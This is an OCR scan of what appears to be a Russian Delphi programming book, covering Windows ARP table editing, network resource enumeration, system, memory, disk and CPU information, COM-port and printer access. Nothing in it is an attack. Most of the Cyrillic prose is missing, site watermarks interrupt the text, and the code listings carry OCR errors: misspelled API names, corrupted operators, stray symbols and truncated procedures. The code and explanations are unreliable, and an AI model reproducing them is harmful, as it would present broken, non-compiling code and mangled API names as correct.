IP-, . .
ARP- Windows ARP
-g -. ,
ARP. , .
Delphi ,
. 5.14. .
ARP- .
G ARP- . .
.
ARP-.
7
j ' ; 1^|
. 5.14.
TRichEdit,
. , Readonly true,
.
uses IpRtrMib,
IpHlpApi, iptypes IplfConst. , .
www.kodges.ru
248
. ,
( 5.5).
//ARP-
// ARP
//
//
DisplayMemo.Clear;
Size := 0;
GetIpNetTable(nil, Size, True);
NetTable := AllocMem(Size);
try
if GetlpNetTable(NetTable, Size, True) = NO_ERROR then
begin
// IP-
IpAddrTable := GetlpAddrTableWithAlloc;
try
//
A
Currentlndex :- NetTable .table[0].dwlndex;
DisplayMemo.SelAttributes.Color:=clTeal;;
DisplayMemo.SelAttributes.Style:=
DisplayMemo.SelAttributes.Style+[fsBold];
DisplayMemo,Lines.Add(Formatf': %s 0x%u'
[IntflndexToIpAddress(IpAddrTable, Currentlndex), Currentlndex]
DisplayMemo.SelAttributes.Color:=clTeal;
DisplayMemo.SelAttributes.Style:=
DisplayMemo.SelAttributes.Style+[fsBold];
DisplayMemo.Lines.Add(' IP- 1 ];
// ARP
A
www.kodges.ru
'
249
www.kodges.ru
250
GetipNetTabie.
ARP-. , n i l .
,
ARP-. ARP-
AiiocMem
NetTable.
Currentlndex),
Currentlndex]));
DisplayMemo.SelAttributes.Color:=clTeal;
DisplayMemo.SelAttributes.Style:=DisplayMemo.SelAttributes,Style+[fsBold];
DisplayMemo.Lines.Add('
IP-
');
www.kodges.ru
251
, ;
for I := 0 to NetTable A .dwNumEntries - 1 do
ARP-:
NetRow := NetTable"4. table [I];
, dwindex
. , . , ARP- ( , ),
, GetlpAddrTableWithAlloc.
if CurrentIndex <> NetRow.dwindex then
ARP-
:
//
DisplayMemo.Lines.Add(Format(' %-20s %-30s Is',
[IpAddrToString(NetRow.dwAddr),
PhysAddrToString(NetRow.dwPhysAddrLen,
TPhysAddrByteArray(NetRow.bPhysAddr)),
ArpTypeToString(NetRow.dwType)]));
DisplayMemo.Lines.Add('');
FreeMem. ,
, , , .
.
5.9. ARP-
ARP , . , ARP-, .
,
ARP, .
? , , . ,
IP- ( DHCP)
- IP-. ,
ARP- .
9 . 978
www.kodges.ru
252
IP- ,
ARP-, , ,
ARP- . -.
5.9.1. ARP-
.
, .
. 5.15,
7 IP-
IP- -
IP-:
-
:
procedure TARPForm.AddButtonClick(Sender: TObject);
begin
InputlPForm.ShowModal;
if InputlPForm. Modal Res ultomrOK then exit;
SetArpEntry(InputIPForm.AddressEdit.Text, InputlPForm.MACEdit.Text);
end;
.
,
, , , exit .
, ,
setArpEntry. :
01 IP- ;
- .
www.kodges.ru
253
, setArpEntry. API-, .
private :
private
{ Private declarations }
procedure SetArpEntry(const InetAddr, EtherAddr: string);
<Ctrl>+<Shift>+<C>, Delphi
, ( 5.6).
www.kodges.ru
254
TMibipNetRow,
. FiilChar.
Entry dwAddr, IP- . IP
inetAddr ,
stringToipAddr, :
function StringToipAddr(const Addr: string): DWORD;
begin
Result := inet_addr(PChar(Addr));
end;
WinAP I- inet_addr.
, ,
, .
Assert
. Entry.dwAddr INADDR_NONE, TO , .
. Entry.dwPhysAddrLen, . bPhysAddr Entry
stringToPhysAddr,
- .
:
-;
CJ , .
. , - 5.7.
www.kodges.ru
255
"-" 3,
6, 9, 12, 15.
.
, , , . dwType Entry MIB_IPNET_TYPE_STATIC.
, . , , ARP-.
:
//
IpAddrTable := GetlpAddrTableWitnAlloc;
Assert(IpAddrTable <> nil);
Entry.dwlndex := FirstNetworkAdapter{IpAddrTable);
FreeMemfIpAddrTable);
IP-
GetipAddrTablewithAiioc
( ), .
(IP-) FirstNetworkAdapter dwindex Entry. FirstNetworkAdapter :
function FirstNetworkAdapter(IpAddrTable: PMiblpAddrTable): Integer;
www.kodges.ru
256
I: Integer;
IfInfo: TMiblfRow;
begin
Result := -1;
for I := 0 to IpAddrTable^.dwNumEntries - 1 do
begin
{$R-}IfIno.dwIndex := IpAddrTable".table[I].dwlndex;($R+f
if GetIfEntry(@IfInfo) = NO_ERROR then
begin
if Iflnfo.dwType in [MIB_IF_TYPE_ETHERNET, MIB_IF_TYPE_TOKENRING]
then
begin
Result := Iflnfo.dwlndex;
Break;
end;
end;
end;
end;
, ,
- , .
, ,
. ,
, ,
.
, :
if
''
then
Entry.dwlndex := StrToInt()
else
begin
IpAddrTable := GetlpAddrTableWithAlloc;
Assert{IpAddrTable nil);
Entry.dwlndex := FirstNetworkAdapter(IpAddrTable);
FreeMemfIpAddrTable);
end;
,
FreeMem( IpAddrTable) .
www.kodges.ru
257
. ,
sysErrorMessage. DisplayMemo.
ARP
;
: 192.18.10. 0x2
IP
192.168.100.1
00-04-7-90--4
Dynamic
192.168.100.2
FQ-F0-F7-F9-F4-F6
Static
. 5.16.
. 5.16 . ARP- :
- I 9 2 . i 6 8 . i o o . i
(Dynamic), .
192.168. . , ( s t a t i c ) .
5.9.2. ARP-
ARP.
:
procedure TARPForm.DeleteButtonClick(Sender: TObject);
begin
InputIPForm.Label4.Visible:=false;
Input IPForrn.Label2. Visible :=false;
InputlPForm.MACEdit.Visible:=false;
InputlPForm.ShowModal;
InputlPForm.Label4.Visible:=true;
InputlPForm.Label2.Visible:=true;
InputlPForm.MACEdit.Visible:=true;
if InputlPForm.ModalResultomrOK then exit;
DeleteArpEntry(InputlPForm.AddressEdit.Text,'');
end;
www.kodges.ru
258
, , , -. IP-,
.
IP-
IP-:
J192.168.100.2
]| X |
. 5.17. ARP-
, , ,
.
,
, .
, . , ,
.
ARP- DeieteArpEntry.
:
IP-, ;
,
, . ,
ARP-.
DeieteArpEntry, private
<Ctrl>+<Shift>+<C>. :
procedure DeieteArpEntry(const Host, Intf: string);
5.8.
www.kodges.ru
259
-""" '' ""' " ""V "**'-"-*1 "'* '"":: ' *&**&. :
ji 5.8?. " ARP vfiy ^ ' ../. '.,-.^ &- - .
V^-1V:"--?""4B.""*1.'""4*.".">:""14
www.kodges.ru
260
Exit;
end;
Size := 0;
if GetAdaptersInfo(nil, Size) <> ERROR_BUFFER_OVERFLOW then Exit;
Adapters := AllocMem(Size);
try
if GetAdaptersInfo(Adapters, Size) = NO_ERROR then
begin
Adapter := Adapters;
while Adapter <> nil do
begin
//
if (Host = '*') and (Intf = " ) then
begin
FlushlpNetTable(Adapter.Index) ;
end;
//
if (Host '*') and (Intf = ") then
begin
FillChar(Entry, SizeOf(Entry), 0) ;
Entry.dwlndex := Adapter.Index;
Entry.dwAddr := HostAddr;
DeletelpNetEntry(Entry);
end;
Adapter := Adapter'4.Next;
end;
end;
finally
FreeMera(Adapters);
end;
DisplayMemo.SelAttributes.Color:=clTeal;
DisplayMemo.SelAttributes.Style:=
DisplayMemo.SelAttributes.Style+[fsBold];
DisplayMemo.Lines.Add(' '}
end;
,
. ,
. .
www.kodges.ru
261
:
, ;
, .
: (*), . , .
:
procedure TARPFomXlearButtonClick (Sender: TObject);
begin
DeleteArpEntry('*', ' ') ;
end;
DeleteArpEntry,
, , ARP-.
- \\ 5\ARP
.
5.10.
. 4.7 , .
. , , .
.
, . . 5.18
.
7
(*
"
'''[
15
F?
"
. 5.18.
www.kodges.ru
262
TRadioButton, .
. TCheckBox,
, : ,
. TTreeView,
.
.
,
. Onclick
( 5.9).
9 9
" -
Ttreeview ,
.
, RadioButton .
, ResScope
www.kodges.ru
263
.
,
RESOURCE_CONNECTED. ,
RESOURCE_REMEMBERED .
RESOURCE_GLOBALNET
, . , ResType RESOURCETYPE^ANY.
www.kodges.ru
264
PNetResource;
ShowMessage(' ')
else
Result := hNetEnum;
end;
WNetopenEnum. . WNetopenEnum :
function WNetopenEnum(
dwScope, dwType, dwUsage: DWORD;
lpNetResource: PNetResource;
var lphEnum: THandle
): DWORD; stdcall;
.
.
dwScope .
:
RESOURCE_GLOBALNET ;
www.kodges.ru
265
RESOURCE_CONNECTED ;
RESOURCE^REMEMBERED .
dwType , . :
RESOURCETYPE_ANY ;
RESQURCETYPEJHSK ;
RESOURCETYPE_PRINT .
dwUsage , .
:
;
RESOURCEUSAGE_CONNECTABLE ;
RESOURCEUSAGE_CONTAINER
lpNetResource NETRESOURCE. , . ,
. . , .
lphEnum , WnetEnumResource.
PAnsiChar;
. .
dwDisplayType :
RESQURCEDISPLAYTYPEJX)MAIN ;
RESOURCEDISPLAYTYPE GENERIC ;
www.kodges.ru
266
5
RESOURCEDISPLAYTYPE_SERVER ;
RESOURCEDISPLAYTYPE_SHARE .
lpLocaiName .
lpRemoteName .
lpComment .
lpProvider . ,
.
openEnum
EnumResources. ,
. , ( 5.10).
www.kodges.ru
267
begin
Result := 0;
while TRUE do
begin
ResourceBuf := sizeof(ResourceBuffer);
EntriesToGet := 2000;
if (NO^ERROR <> WNetEnumResource(hNetEnum, EntriesToGet,
QResourceBuffer, ResourceBuf)) then
begin
case GetLastError() of
NO_ERROR: break;
ERROR__NO__MORE_ITEMS: exit;
else
ShowMessage(' ');
Result := 1;
exit;
end;
end;
for i := 1 to EntriesToGet do
begin
NewNode := ShowResource(ParentNode, ResourceBuffer[i]};
if (ResourceBuffer[i].dwUsage and RESOURCEUSAGE_CONTAINER) <> 0 then
EnumNet(NewNode, ResScope, ResType, SResourceBuffer[i]);
end;
end;
end;
wnetEnumResource.
. Delphi :
function WNetEnumResource(
hEnum: THandle;
var lpcCount: DWORD;
ipBuffer: Pointer;
var ipBufferSize: DWORD
): DWORD; stdcall;
hEnum WNetopenEnim .
www.kodges.ru
268
.
.
lpBuffer , .
lpBuffersize .
:
NewNode := ShowResource(ParentNode, ResourceBuffer[i]);
ShowResource EnumResources
:
function ShowResource(const ParentNode: TTreeNode;
Res: TNetResource): TTreeNode;
var
Str:String;
index:Integer;
begin
Result:=ParentNode;
if Res.lpRemoteName=nil then exit;
Str:=string{Res.lpRemoteName);
index:=Pos C\',Str) ;
while index>0 do
begin
Str:=Copy(Str,index+1,Length(Str) ) ;
index:=Pos('\',Str);
end;
Result := TreeTreeRes.Items.AddChild(ParentNode, Str);
end;
wnetcioseEnum, .
. ,
, . . 5.19
.
, ,
. , ,
. ,
.
- \\ 5\Net Resource 1 .
www.kodges.ru
269
Micros of!
- Microsoft Windows Netwoik
- E1
t SERVER
- TANYA
HPDeskJe
E
F
Web Client Network
(*
ff
|7
LS
. 5.19.
, :
. . 5.20
.
/
| . |[|||
J? 7
^ |
. 5.20,
. onciick
:
www.kodges.ru
270
WnetConnectionDialog,
Delphi :
function WNetConnectionDialog(
hwnd: HWND;
dwType: DWORD):
DWORD; stdcall;
. , :
RESOURCETYPE_DISK
.
RESOURCETYPE PRINT .
RESOURCETYPE_ANY ,
.
Windows
. 5.21.
XP
Window*
,
" ".
,
:
; MservetAshare
.
*
.
. 5.21.
:
procedure TForml.BitBtnlClick(Sender: TObject);
begin
WNet Disconnect Dialog {Handle, RESOURCETYPE__DISK) ;
end;
www.kodges.ru
271
WnetDisconnectDialog,
. Delphi :
function WNetDisconnectDialog (
hwnd: HWND;
dwType: DWORD):
DWORD; stdcall;
, . Windows . 5.22.
2
, , .
;
. 5.22.
- \\ 5\Net Resource2 ,
.
www.kodges.ru
www.kodges.ru
, , . ,
.
. 4 5. , , , .
.
, , . ,
-.
, Microsoft.
(, )
.
, .
,
, , ,
.
, -
(RS-232), . , - ,
- .
6.1.
, , . .
www.kodges.ru
274
System Info
[ ]1 [I ^nk>z
M3-DO5 PC-DOS
Unknown
-: G enuinel ntel
QK.
. 6 . 1 .
.'* System Info
] | !: IP info | Ethernet info |: ':
Windows
Unknown
5,1 (2&00)
Windows NT
Unknown
Unknown
55683-OEM-0013917-41219
Windows
DAWIMOOWS
D:SDOCUME~1VI36L"1 BB\LOCALS~1\Temp
OK
. 6.2.
www.kodges.ru
275
, , Getcompinfo, onShow
6.1.
! 6,1 '*
procedure TSysteinlnfoForm.GetCompInfo;
var
SystemIniFile:TIniFile;
RegFile:TReglniFile;
PathArray : array [0..255] of char;
OSVersion: TOSVersionlnfo;
begin
//
SystemIniFile:=TIniFile.Create('System.ini');
ComputerLabel.Caption:=SystemIniFile.ReadString('boot.description',
' system, drv', 'Unknown1);
SystemlniFile.Free;
RegFile:=TRegIniFile.Create('Software');
RegFile.RootKey:=HKEY JLOCAL_MACHINE;
RegFile.OpenKey('hardware',false);
RegFile. OpenKeyC DESCRIPTION', false) ;
RegFile.OpenKey('System',false);
RegFile.OpenKey('CentralProcessor',false);
ProcessorLabel.Caption:=RegFile.ReadString('0','Identifier','Unknown'
MMXIdentifierLabel.Caption:=
RegFile.ReadString('O','MMXIdentifier','Unknown');
VendorldentifierLabel.Caption:=
RegFile.ReadString('0','Vendorldentifier','Unknown');
>
RegFile.CloseKey;
//OS
OSVersion.dwOSVersionlnfoSize := SizeOf(OSVersion);
if GetVersionEx(OSVersion) then
begin
VersionLabel.Caption:= Format('%d.%d (%d.%s)'f
[OSVersion.dwMajorVersion, OSVersion.
dwMinorVersion,(OSVeraion.dwBuildNumber and $FFFF),
OSVersion.szCSDVersion]);
case OSVersion.dwPlatformID of
VER PLATFORM WIN32S:111.Caption := 'Windows 3.1';
www.kodges.ru
276
6.1.1.
, .
:
SystemlniFile:=TIniFile.Create('System.ini');
ComputerLabel.Caption:=SystemIniFile.ReadString('boot.description',
1
system.drv',
'Unknown');
SystemlniFile.Free;
SysteminiFiie,
TiniFiie ini-.
System.ini. system.drv boot.description.
, .
www.kodges.ru
277
6.1.2.
.
:
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor.
.
, . 1, 2 . . I d e n t i f i e r , MMXIdentifier, Vendorldentifier.
6.1.3. Windows
, Windows . Windows:
WIN32S Windows 3.1 32- .
WIN32_WINDOWS Windows 95/98/ME.
.
WIN32_NT Windows NT/2000/XP , NT.
, :
OSVersion.dwOSVersionlnfoSize := SizeOf(OSVersion);
if GetVersionEx(OSVersion) then
begin
VersionLabel.Caption:= Format('%d.%d (%d.%s)',
[OSVersion.dwMajorVersion, OSVersion.
dwMinorVersion,(OSVersion.dwBuildNumber and $FFFF},
OSVersion.szCSDVersion]);
case OSVersion.dwPlatformlD of
VER_PLATFORM_WIN32s:VersionNumberLabel.Caption := 'Windows 3.1';
VER_PLATTORM_WIN32_WINDOWS: VersionNumberLabel.Caption := 'Windows 95';
VER_PLATFORM_WIN32_NT: VersionNumberLabel.Caption := 'Windows NT1;
else
VersionNumberLabel.Caption := '';
end;
end;
dwosversioninfosize
OSVersion, TOSVersioninfo.
.
GetVersionEx .
Windows.
dwPlatformlD.
www.kodges.ru
278
6.1.4. Windows
Windows, :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion.
6.1.5. Windows
,
. Windows, Windows. ,
Windows, :
FillChar(PathArray, SizeOf(PathArray), #0) ;
GetWindowsDirectory(PathArray,255);
WindowsDirLabel.Caption:= Format('%s',[PathArray]);
PathArray ,
.
.
GetwindowsDirectory, : .
Windows.
20 , 255.
Windows, :
FilXChar(PathArray, SizeOf(PathArray), #0) ;
ExpandEnvironmentStrings('%TEMP%', PathArray, 255);
TempDir.Caption:=Format('%s',[PathArray]);
.
ExpandEnvironmentStrings, :
, ;
, ;
.
,
, .
:
P:PItemIDList;
Crarray [0..1000] of char;
, ,
:
if SHGetSpecialFolderLocation(Handle,CSIDL PROGRAMS,p)=NOERROR then
www.kodges.ru
279
begin
SHGetPathFromlDList(P,C);
String:=StrPas();
end
SHGetSpecialFolderLocation, .
, (
).
, . :
CSIDL_BITBUCKET ;
CSIDL_CONTROLS ;
CSIDL_DESKTOP ;
CSIDL_DESKTOPDIRECTORY ;
CSIDL_DRIVES ;
CSIDL_FONTS ;
CSIDL_NETHOOD ;
CSIDL_NETWORK ;
cs i DL_PERSONAL ( );
CSIDL_PRINTERS ;
CSIDL_PROGRAMS (Program Files);
CSIDL_RECENT ;
CSIDL_SENDTO ;
CSIDL_STARTMENU ;
CSIDL_STARTUP ;
CSIDLJTEMPLATES .
, .
pitemiDList. ,
SHGetPathFromiDList, :
PitemiDList;
, .
Delphi string,
strPas, , .
www.kodges.ru
280
6.2.
,
.
64 ,
128, 256 . , Windows
,
.
,
, . ,
, ,
.
, / , Windows.
(. 6.3). Label
TGauge Samples. TGauge .
Kind gkPie,
.
4S System Info
|j ] jp jn Ethernet into 1'
(
261616
82304
3351 &
' 400208
. 6 . 3 . ,
www.kodges.ru
281
OnShow GetMemoryinfo,
private :
private
( Private declarations }
procedure GetMemoryinfo;
<Ctrl>+<Shift>+<C>, Delphi . :
procedure TSystemlnfoForm.GetMemoryinfo;
var
Memlnfo : TMemoryStatus;
begin
Memlnfo.dwLength := Sizeof (Memlnfo);
GlobalMemoryStatus (Memlnfo);
TotalPhys.caption:=inttostr(MemInfo.dwTotalPhys div 1024) + ' K1;
AvailPhys.caption:=inttostr(Memlnfo.dwAvailPhys div 1024) + ' K1;
TotalPage,caption:=inttostr(Memlnfo.dwTotalPageFile div 1024) + K';
AvailPage.caption:=inttostr(Memlnfo.dwAvailPageFile div 1024) + ' K';
RamGauge.Progress := Memlnfo.dwAvailPhys div (Memlnfo.dwTotalPhys div 100);
VirtualGauge.Progress := Memlnfo.dwAvailPageFile div
(Memlnfo.dwTotalPageFile div 100);
{ , )
if (RamGauge.Progress < 5) then RamGauge.ForeColor := clRed
else RamGauge.ForeColor := clActiveCaption;
if (VirtualGauge.Progress < 20) then VirtualGauge.ForeColor := clRed
else VirtualGauge.ForeColor := clActiveCaption;
end;
dwLength Memlnfo,
TMemoryStatus.
Memlnfo. WinAPI-
GlobalMemoryStatus, . .
Memlnfo
. , :
dwTotalPhys ;
dwAvailPhys ;
dwTotalPageFile ;
dwAvailPageFile .
www.kodges.ru
282
,
.
.
, 1024. div, , .
,
TGauge .
6.3.
. , - .
,
, . , , , .
,
/
.
.
* System Info
** jj ji ^ IP infoj Ethernet Info j
D: (DATA]
Date
7SD2-AD57
NTFS
512
. 6.4. ,
www.kodges.ru
283
,
.
. - . ,
, .
(. 6.4). DnveComboBoK Win 3.1 TLabel, .
Onchange
DriveComboBoxi. updateDisk.
private :
procedure UpdateDisk;
, 6.2.
6.2. 1.
..ii;,i..'.'.,j.i....;.v.!,.;iihj;.%....i *.;.ii.; ;.'.........
procedure TSystemlnfoForm.UpdateDisk;
var
PChar;
ipRootPathname
PChar;
ipVolumeNameBuffer
DWORD;
nVolumeNaraeSize
ipVo 1 ume S e r i a INumbe r DWORD;
lpMaxinumComponentLength DWORD;
DWORD;
ipFileSystemFlags
PChar;
lpFileSystemNameBuffer
DWORD;
nFileSystemNameSize
FSectorsPerCluster: DWORD
FBytesPerSector : DWORD
FFreeClusters
: DWORD
FTotalCIusters : DWORD
begin
lpVolumeNameBuffer
: _ ii.
lpVolumeSerialNumber : - 0;
ipMaximumComponentLength:- 0;
lpFileSystemFlags
: - 0;
lpFileSystemNameBuffer : = ' ';
try
978
www.kodges.ru
284
GetMem(lpVolumeNameBuffer, __ + 1) ;
GetMem(lpFileSystemNameBuffer, MAX_PATH + 1) ;
nVolumeNameSize := _ + 1;
nFileSystemNameSize := __ + 1;
lpRootPathName := PChar(DriveComboBoxl.Drive+':\');
if GetVolumelnformation( lpRootPathName, lpVolumeNameBuffer,
nVolumeNameSize, @lpVolumeSerialNumber, lpMaximumComponentLength,
lpFileSystemFlags, lpFileSystemNameBuffer, nFileSystemNameSize )
then
begin
VolumeName.Caption
:= lpVolumeNameBuffer;
VolumeSerial. Caption := IntToHex(HB?ord(lpVolumeSerialNumber>, 4) + '-'
+ IntToHex(LOWord(lpVolumeSerialNumber), 4);
FileSysteniName.Caption:= lpFileSystemNameBuf fer;
GetDiskFreeSpace( PChar(DriveComboBoxl.Drive+':\'), FSectorsPerCluster, FBytesPerSector,
FFreeClusters, FTotalClusters);
end;
finally
FreeMem(lpVolumeNameBuffer);
FreeMem(lpFileSystemNameBuffer);
end;
SectorsPerCluster.Caption:^IntToStr(FSectorsPerCluster);
BytesPerSector.Caption:=IntToStr(FBytesPerSector);
end;
lpVolumeNameBuffer, lpVolumeSerialNumber, lpMaximumComponentLength, lpFileSystemFlags, lpFileSystemNameBuffer
. GetMem
lpVolumeNameBuffer lpFileSystemNameBuffer.
nVolumeNameSize nFileSystemNameSize
.
WinAPI-npo Getvoiumeinformation, :
, ;
, ;
;
, ;
, ,
;
www.kodges.ru
285
. :
FS_CASE_IS_PRESERVED , , ;
FS_CASE_SENSITIVE
;
FS_UNICODE_STORED_ON_DISK
UNICODE;
FS_PERSISTENT_ACLS (, NTFS);
FS_FILE_COMPRESSION
;
FS_VOL_IS_COMPRESSED (, DoubleSpace ).
G , ;
.
G e t D i s k F r e e S p a c e , -
. ,
.
. GetDiskFreeSpace:
, ;
, ;
, ;
, ;
, .
. .
, :
function GetFreeDiskSize(Root: string): Longlnt;
var
SpC, BpS, NfC, TnC: DWORD;
FreeDiskSize: Double;
begin
www.kodges.ru
286
:= RoundfFreeDiskSize);
end;
. ,
. 1024,
.
- \\ 6\System Info
, .
6.4.
.
? ? , ,
.
6.4.1.
, . , , ,
.
:
: ? MHz
. 6.5. ,
Delphi .
TLabei : .
. TLabei
:. , . . 6.5.
www.kodges.ru
287
:
procedure TFormCPUSpeed.BitBtnStartClick(Sender: TObject);
begin
BitBtnStart.Enabled := False;
BitBtnStop.Enabled := True;
Stop := False;
while not Stop do
begin
LabelCPOSpeed.Caption := FloatToStr(GetCPUSpeed)+' MHz';
Application.ProcessMessages;
end;
BitBtnStart.Enabled := True;
BitBtnStop.Enabled := False;
end;
, .
, , , . ,
.
, stop false.
,
. true, .
. :
while not Stop do
begin
LabelCPUSpeed.Caption := FloatToStr(GetCPUSpeed)+' MHz';
Application.ProcessMessages;
end;
while, ,
stop true. :
1. Getcpuspeed.
FloatToStr
TLabei, .
2. ProcessMessages, 6
,
.
Getcpuspeed 6.3.
www.kodges.ru
288
www.kodges.ru
289
SetPriorityClass SetThreadPriority.
REALTIME_PRIORITY_CLASS. THREAD_PRIORITY_TIME_CRITICAL.
, .
, sieep(io), Windows .
. .
, DeiayTime. , . ,
, DeiayTime.
500 .
:
SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);
, Windows
.
,
Windows
. , . Windows .
TimerLo / (. * DeiayTime}. .
: 702.42718 *
: , . ,
. 6.6.
:
procedure TFormCPUSpeed.BitBtnStopClick(Sender: TObject);
www.kodges.ru
290
begin
Stop := True;
end;
Stop true,
.
, ,
.
. . , . , , .
- \\ 6\CPU Speed
.
6.4.2.
adCpuUsage,
Alexey A. Dynnikov. , ,
.
- Headers , .
chart
Additional System. Enabled true,
.
. 6.7.
. 6.7.
www.kodges.ru
291
onTimer Ttimer :
procedure TForml.TimerlTimer(Sender: TObject);
var
i:Integer;
begin
CollectCPUData;
for i:=0 to GetCPUCount-1 do
begin
if Chartl.Series[i].Count>20 then
Chart1.Series[i].Delete(0);
Chartl.Series[i].AddXY(Time, GetCPUUsage(i)*100,
Format(t%5.2f%%*, [GetCPUUsage(i)*100])) ;
end;
end;
uses
adCpuUsage. He , Delphi, ,
.
. ,
.
&
9590
65
80
\
J
S/
84
3,9%67
3.3%79,9%64
9,8%98
7,0%79
3,4%86
9,6%57
3,4%77
9,9%73
9,9%
75
70-
,'
. 6.8.
, .
CollectCPUData, -
www.kodges.ru
292
. 0 , . , ,
, .
: c h a r t i , , 20 ,
, . . .
charti , Getcpuusage.
( ), 100,
.
- \\ 6\CPU Usage
.
6.5. -
, -
, .
(, ), .
RS-232.
, , . ,
-.
,
comm32.
, .
-
Headers. Delphi,
, Component Install Component. .
32 :
BaudRate (/), 9 600;
Bits , ;
stopBits , 1.
comPort , . , 1 COM2.
coitiLogFiieMame , .
www.kodges.ru
293
, ,
( );
( Xon, Xoff ).
.
Delphi :
TButton : , ,
.
( Enabled false).
,
.
32 CyD.
. 6.9.
; ; ; ; '.
Memo!
. 6.9.
32 :
BaudRate 9600;
Bits 8;
G StopBits 1.
CommPort , .
.
. :
procedure TForml.OpenButtonClick{Sender: TObject);
begin
Comm321. StartConim;
www.kodges.ru
294
SendButton.Enabled:=true;
CloseButton.Enabled:=true;
OpenButton.Enabled:=false;
end;
startcomm, / .
. ,
,
.
,
.
100 . :
Procedure WaitT{time: integer);
var
h:THandle;
begin
h:=CreateEvent(nil, true, false, '');
WaitForSingleObject(h,Time);
CloseHandle(h);
end;
, .
,
.
, .
:
procedure TForml.CloseButtonClick(Sender: TObject);
begin
Conim321. StopComm;
SendButton.Enabled:=false;
CloseButton.Enabledr^false;
OpenButton.Enabled:=true;
end;
stopComm comm32, .
, .
, , ,
.
:
procedure TForml.SendButtonClick(Sender: TObject);
www.kodges.ru
295
var
SendStr:String;
begin
SendStr: = '' ;
1
if InputQuery(' , ' , ',
SendStr) then
Comm321.WriteCommData(PChar(SendStr+#13#10) , Length(SendStr}+2);
end;
mputQuery ,
.
. 6.10.
,
GK
Cancel
. 6.10.
- ,
writeCommData .
:
pchar. : #13#.
.
D .
.
OnReceiveData
32. :
procedure TForml.Corrm321ReceiveData (Sender: TObject; Buffer: Pointer;
BufferLength: Word);
RecivedStr:String;
begin
RecivedStr:=PChar(Buffer);
Memol.Lines.Add(RecivedStr);
end;
www.kodges.ru
296
, - .
,
. ,
. .
.
string.
Memoi.
. , -, . , ,
.
- . Adobe Acrobat,
.
, -.
- \\ 6\0 Port
.
6.6. LPT-
, , LPT-.
, ,
. , USB,
. , , , .
,
. ?
- .
.
Delphi
. . 6.11.
uses winSpooi ,
Delphi.
www.kodges.ru
297
L i
English:
This is the (est program, which show you how to work with printer in the text mode
, ,
. 6.11.
:
www.kodges.ru
298
openPrinter. :
, ;
;
PRINTER_DEFAULTS.
n i l .
Docinfoi, - TDocinfoi.
.
pDataType. RAW.
, . ( )
, ( , ,
-). . 6.12
.
.
,
,
:
:
RftW [FF appended]
RAW [FF auto]
NTEMF 1.003
, NTEMF 1.006
NTEMF 1.007
NTEMF 1,008
TEXT
..
-.
. 6.12.
.
API- StartDocPrinter. :
;
www.kodges.ru
299
EndPagePrinter, EndDocPrinter C l o s e P r i n t e r .
, , USB . , ,
LPT-, , USB, . , ,
, ,
.
AssignPrn.
TextFiie. . Rewrite.
,
writein, :
TextFiie, ;
, .
( , ) CloseFile.
, Onclick :
var
f:TextFile;
11 . 978
www.kodges.ru
300
i:Integer;
begin
AssignPrnff);
try
Rewrite(f);
for i:=0 to Memol.Lines.Count-1 do
Writeln{f, Memol.Lines.Strings[i]);
finally
CloseFile(f);
end;
end;
f .
, , , try finally. , AssignPrn f
( , !), .
finally end (, , ,
, ) .
try...finally, .end,
, , , .
, .
AssignPrn, .
, LPT- , :
AssignFileff,
'LPT1);
www.kodges.ru
301
6.7.
.
,
.
, .
. .
,
, :
var
f:HFILE;
FileSize:Integer;
begin
// ( )
f:=_lopen(PChar(FileName), OF_READ);
//
FileSize :=__lseek (f, , FILE_END) ;
//
__lclose (f) ;
end;
. " ". ,
,
. - . API- _seek
, .
,
. , .
, .
var
SearchRec:TSearchRec;
Begin
//
if FindFirst(ExpandFileName(FileName),faAnyFile,SearchRec)=O then
//
:=SearchRec.Size
//
FindClose(SearchRec);
end;
www.kodges.ru
302
Findrirst.
, , . size
searchRect .
GetFileSize.
function GetFileSize(
hFile: THandle;
ipFileSizeHigh: Pointer
: DWORD; s t d c a l l ;
,
DWORD, .
, , 2 . n i l . .
6.8.
,
, , ,
GetDevicecaps. WinAPI-,
. ,
.
,
. , . . 6.13.
7
. 6 . 1 3 .
www.kodges.ru
303
Onclick
6.4.
6 4
procedure TForml.ButtonlClick(Sender: TObject);
begin
case GetDeviceCaps(Canvas.Handle, TECHNOLOGY) of
DT_PLOTTER:
Memol.Lines.Add(': ');
Memol-Lines.Add(': ');
DT_DISPFILE:
Memol.Lines.Add(": ');
end;
Memol.Lines.Add(' '+
IntToStr(GetDeviceCaps(Canvas.Handle, HORZSIZE)}>;
Memol.Lines.Add{' '+
IntToStr(GetDeviceCaps(Canvas.Handle, VERTSIZE)));
Memol.Lines.Add(' '+
IntToStr(GetDeviceCaps(Canvas.Handle, HORZRES)));
Memo1.Lines.Add('
'+IntToStr(GetDeviceCaps(Canvas.Handle, VERTRES)));
Memol.Lines.Add(' '+
IntToStr(GetDeviceCaps(Canvas.Handle, LOGPIXELSX)));
Memol.Lines.Add(' ' +
IntToStr(GetDeviceCaps(Canvas.Handle, LOGPIXELSY)));
Memol.Lines.Add(' '+
IntToStr(GetDeviceCaps(Canvas.Handle, BITSPIXEL)));
Memol.Lines.Add(' '+
IntToStr(GetDeviceCaps(Canvas.Handle, PLANES)));
Memol.Lines.Add(' '+
IntToStr(GetDeviceCaps(Canvas.Handle, SIZEPALETTE)));
Memol.Lines.Add(' '+
IntToStr{GetDeviceCaps(Canvas-Handle, VREFRESH)));
if (GetDeviceCaps(Canvas.Handle, RASTERCAPS) and
RC_BANDING)=RC_BANDING then
Memol.Lines.Add(' ');
www.kodges.ru
304
www.kodges.ru
305
www.kodges.ru
306
6
if (GetDeviceCaps(Canvas.Handle, LINECAPS) and
LC_INTERIORS)=LC_INTERIORS then
www.kodges.ru
307
www.kodges.ru
308
, , .
API- GetDeviceCaps. :
, ;
, , .
, , . .
, Memoi. ,
TECHNOLOGY, .
(
).
(printer. Handle),
. ,
Hewlett Packard 690C.
7
;
320
* 240
1152
84
96
96
32
1
0
100
Bitmaps
Bitmaps > 64
SetDIBits and GelDIBils
SetDIBitsToDevice
Can Perform Floodfills
Windows 2.0
a S tf etchB It
. 6 . 1 4 .
. 6.14 .
, , . , , . ,
\- \,
" ".
- \\ 6\Display
.
www.kodges.ru
309
6.9.
, ,
, . .
6.9.1.
, . :
Edit (, doc);
I , ;
! :
, Name ParamLabei;
, Name DescriptionLabei;
